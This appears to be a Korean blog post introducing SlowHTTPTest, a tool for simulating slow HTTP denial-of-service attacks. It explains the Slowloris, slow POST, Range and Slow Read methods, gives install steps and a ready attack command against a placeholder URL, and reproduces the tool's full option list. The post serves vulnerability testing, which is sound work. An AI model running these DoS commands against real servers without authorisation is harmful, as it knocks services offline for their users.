336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

[DoS] SlowHTTPTest 테스트


SlowHTTPTest 는 Application Layer DoS 를 시뮬레이션 하기 위한 툴 입니다.

기존 
Slowloris, Slow HTTP POST와 같이 낮은 대역폭으로 Concurrent Connections Pool 을 소모하며,
Apache Range Header attack 을 통해 서버의 메모리와 CPU 자원을 고갈시킵니다.

Slowloris 와 Slow HTTP POST DoS 는 HTTP 프로토콜에 기반하여 제작되었으므로 시뮬레이션 시 서버의
Requests를 필요합니다.
만약 HTTP Request 가 완전하지 않거나 매우 느리게 전송될 경우 서버는 데이터를 기다려며 자원을 소모합니다.
계속 자원이 소모될 경우 서버는 서비스불능 상태가 됩니다.
이와 같이 Slowloris와 Slow HTTP POST 는 HTTP Request 를 부분적으로 전송하여 타겟 HTTP 서버를 DoS 상태로 만듭니다.

반면 Slow Read DoS attack 은 Request를 지연시키는 것이 아니라,
정상적인 Request를 보내고 느리게 Response를 읽게 함으로써 서버의 자원을 고갈시킵니다.


예를 들자면,
점심시간 직원들끼리 중국집에 가서 주문을 하는데...

기존의 Slowloris 와 Slow HTTP POST 이
주문을 받으러 사람이 왔을 때 주문을 천천히 하거나 주문을 계속 번복하여 다른사람의 주문이 주방으로 못들어가게 하는 공격인 반면,

Slow Read DoS attack 은
주문 시 중국집에서 가장 시간이 오래 걸리는 특선요리를 10개 정도 시켜 주방이 마비가 되도록하는 공격입니다. ^^;
 




# SlowHTTPTest 설치방법
 
저는 CentOS 5.5에서 테스트 해보았습니다.
 
 

1. http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 에서 최신 버전을 다운로드 합니다.

wget 
http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 




2. 압축을 해제 합니다.

tar xvfz slowhttptest-1.4.tar.gz




3. 컴파일을 합니다.
./configure ; make ; make install




4. slowhttptest -c 100 -B -i 100 -r 200 -s 10000 -u http://site.com 를 통해 테스팅을 합니다.
( 약 5초 후 Service가 Down 된 것이 표시됩니다. ) 




# slowhttptest 1.4 옵션
 

slowhttptest 1.4, a tool to test for slow HTTP DoS vulnerabilities.
Usage:
slowhttptest [-a <range start>] [-b <range limit>]
[-c <number of connections>] [-<H|B|R|X>]
[-g <generate statistics>]
[-i <interval in seconds>] [-k <request multiply factor>]
[-l <test duration in seconds>]
[-n <slow read interval in seconds>] [-o <output file path and/or name>]
[-p <timeout for probe connection>]
[-r <connections per second>]
[-s <value of Content-Length header>] [-t <verb>]
[-u <URL>] [-v <verbosity level>] 
[-w <advertised window size range start>] [-x <max length of follow up data>]
[-y <advertised window size range end>] [-z <slow read from recieve buffer in bytes>]
Options:
-a start,        left boundary of range in range header, default: 5
-b bytes,        limit for range header right boundary values, default: 2000
-c connections,  target number of connections, default: 50
-h               display this help and exit
-H, -B, -R or X  specify test mode (slow headers,body, range or read),
                default: headers
-g,              generate statistics with socket state changes,
                default: off
-i seconds,      interval between followup data in seconds, default: 10
-k num,          number of times to repeat same request in the connection
                Use to multiply response size if server supports persistent connections.
                Effective in slow read (-X) mode only, default: 1
-l seconds,      target test length in seconds, default: 240
-n seconds,      interval between read operations from recv buffer in seconds.
                Effective in slow read (-X) mode only, default: 1
-o file,         save statistics output in file.html and file.csv,
                -g must be specified to use this option
-p seconds,      timeout to wait for HTTP response on probe connection,
                after which server is considered inaccessible,
                default: 5
-r num,          connection rate (connections per seconds), default: 50
-s bytes,        value of Content-Length header if needed, default: 4096
-t verb          verb to use in request,
                defalut to GET for slow headers and response and to POST for slow body
-u URL,          absolute URL of target, default: http://localhost/
-v level,        verbosity level 0-4: Fatal, Info, Error, Warning, Debug
                default: 1 - Info
-w bytes,        start of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 1
-x bytes,        max length of each randomized name/value pair of
                followup data per tick, e.g. -x 2 generates
                X-xx: xx for header or &xx=xx for body, where x
                is random character, default: 32
-y bytes,        end of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 512
-z bytes         bytes to slow read from receive buffer with single read() call.
                Effective in slow read (-X) mode only, default: 5


+ Recent posts